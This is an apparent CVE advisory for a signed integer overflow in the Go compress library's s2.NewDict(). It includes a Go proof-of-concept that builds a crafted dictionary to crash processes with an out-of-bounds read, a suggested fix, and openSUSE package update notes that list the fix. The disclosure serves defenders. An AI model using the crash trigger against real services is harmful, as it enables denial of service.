CVE-2026-63209

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Signed Integer Overflow in s2.NewDict

Summary

A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.

Package

• Name: github.com/klauspost/compress/s2
• Ecosystem: Go
• Affected versions: <= v1.18.6 (all versions with NewDict function)

Severity

High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerability

Type

• CWE-190: Integer Overflow or Wraparound
• CWE-787: Out-of-bounds Write (via unsafe.Pointer)

Description

The NewDict() function reads a uvarint from dictionary data and converts it to int:

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

PoC

package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

Impact

• Denial of Service: The process crashes immediately with SIGSEGV

Attack Vector

Any application that:

1. Accepts user-supplied S2 dictionary data via s2.NewDict()
2. Calls Dict.Encode() on any data ≥32 bytes

Suggested Fix

Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

References

• Source: s2/dict.go lines 59-61 (vulnerability), s2/encode_all.go line 947 (crash site)
• Commit: 539243b (v1.18.6 + 4 commits)

Credits

Christopher Linke / https://github.com/celinke97/

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.

Providing a specially crafted dictionary to s2.NewDict and using it to encode data can make the encoder read out of bounds.

These are all security issues fixed in the amazon-cloudwatch-agent-1.300073.0-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the aliyun-cli-3.5.1-2.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the cadvisor-0.60.6-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the distribution-registry-3.1.1-9.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the crane-0.22.1-2.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the google-osconfig-agent-20260928.01-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the hauler-2.1.1-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the helm-4.3.0-4.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the helm3-3.22.0-3.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the alloy-1.20.1-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the gh-2.102.0-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the rqlite-10.6.1-1.1 package on the GA media of openSUSE Tumbleweed.

This update for distribution fixes the following issue:

• CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass repeat index validation and cause a process crash (bsc#1283762).

This update for helm fixes the following issues:

• CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass repeat index validation and cause a process crash (bsc#1283642).
• CVE-2026-81870: OpenTelemetry-Go: Information disclosure via exporter (bsc#1284104).
• CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network probing (bsc#1281112).

This update for google-osconfig-agent fixes the following issue:

• CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass repeat index validation and cause a process crash (bsc#1283672).

Changes for google-osconfig-agent:

• Update to version 20260928.01

• scalibr linux new metadata support (#1038)

• from version 20260928.00

• Fix failing to report REBOOTING state during postPatchReboot due to context canceled for Windows VMs (#1055)

• from version 20260923.03

• Fix os/snap extractor usage (#1053)

• Update to version 20260918.01

• bump grpc package to new version (#1057)

• from version 20260918.00

• bump some dependencies across few modules (#1056)

• Remove stale Go module version overrides in _service file

This update for hauler fixes the following issues:

Changes in hauler:

• update to 2.1.1:

  • bumped go version to v1.26.7 (backport #771)
  • https registry auth fix (backport #763)
  • adjust supporting artifact retrieval (backport #777)
  • reject --platform on digest-pinned multi-platform images
  • fix: serve registry returns an empty /v2/_catalog list
  • added airgapped support for install.sh and added windows install.ps1
  • added/fixed basic auth with registry and fileserver
  • fixed store inventory race with concurrent processes
  • added type filter to store copy
  • fixed missing dirs in containers
  • updated github workflows with versions, permissions, and concurrency

• update vendor.tar to fix:

  • bsc#1280110, CVE-2026-53495

This update for cadvisor fixes the following issues:

Changes in cadvisor:

• update to 0.60.6:
  • workflows: mirror release tags to lib/ module tags
  • fs/zfs: fall back to VFS when zfs stats are unavailable
  • storage/stdout: nil-check Cpu, Network, and Memory stats
  • Treat memory-only NUMA nodes as valid topology
• update vendor.tar to fix
  • bsc#1283657, CVE-2026-63209: cadvisor: github.com/klauspost/compress: signed integer overflow in s2.NewDict()

This update for gh fixes the following issues:

Changes in gh:

• Update to version 2.102.0, fixing four security issues (GHSA-39wj-f2f4-978v, GHSA-4mq3-hpgx-9cx8, GHSA-qcwj-mr2r-2cx7, GHSA-wjmr-j3rp-mh2g):

  • gh release/run/attestation download and repo read-file --output could write to an unintended file through symbolic links
  • gh attestation verify compared --source-ref case-insensitively
  • gh attestation verify matched --signer-workflow only by prefix
  • gh skill search could inject options into gh skill install
  • Copy auth codes to the clipboard by default (gh config set clipboard disabled to opt out)
  • Remove the gh repo garden command and the multi-account migration
  • Use API SSH URLs for repository clones
  • Validate repository names during interactive creation
  • Fix remote branch deletion on owner case mismatch
  • Propagate the gh path to extensions
  • Allow ghu_ tokens to attach files
  • Allow gh repo set-default --unset without an argument
  • Bump go-gh to 2.16.1, golang.org/x/crypto to 0.57.0, github.com/klauspost/compress to 1.20.1 and Go to 1.27.1

• Update golang.org/x/net to 0.60.0 to fix excessive CPU consumption on repeated HTTP/2 initial window changes (CVE-2026-78669, bsc#1285291).

• Require golang(API) >= 1.27 as upstream moved to Go 1.27.

• Not affected, vendored dependencies are above the fixed version:

  • CVE-2026-84445 (bsc#1278962): grpc is 1.83.2, fixed in 1.83.2
  • CVE-2026-84304 (bsc#1279208), CVE-2026-84303 (bsc#1279310): grpc is 1.83.2, fixed in 1.83.1
  • CVE-2026-41178 (bsc#1276707): otel/baggage is 1.44.0, fixed in 1.44.0
  • CVE-2026-63209 (bsc#1283727): klauspost/compress is 1.20.1, contains the fix of 1.18.7
  • CVE-2026-72924 (bsc#1276755): gh is above 2.98.0, the fixed version
  • CVE-2026-59831 (bsc#1271215): gh is above 2.95.0, the last affected version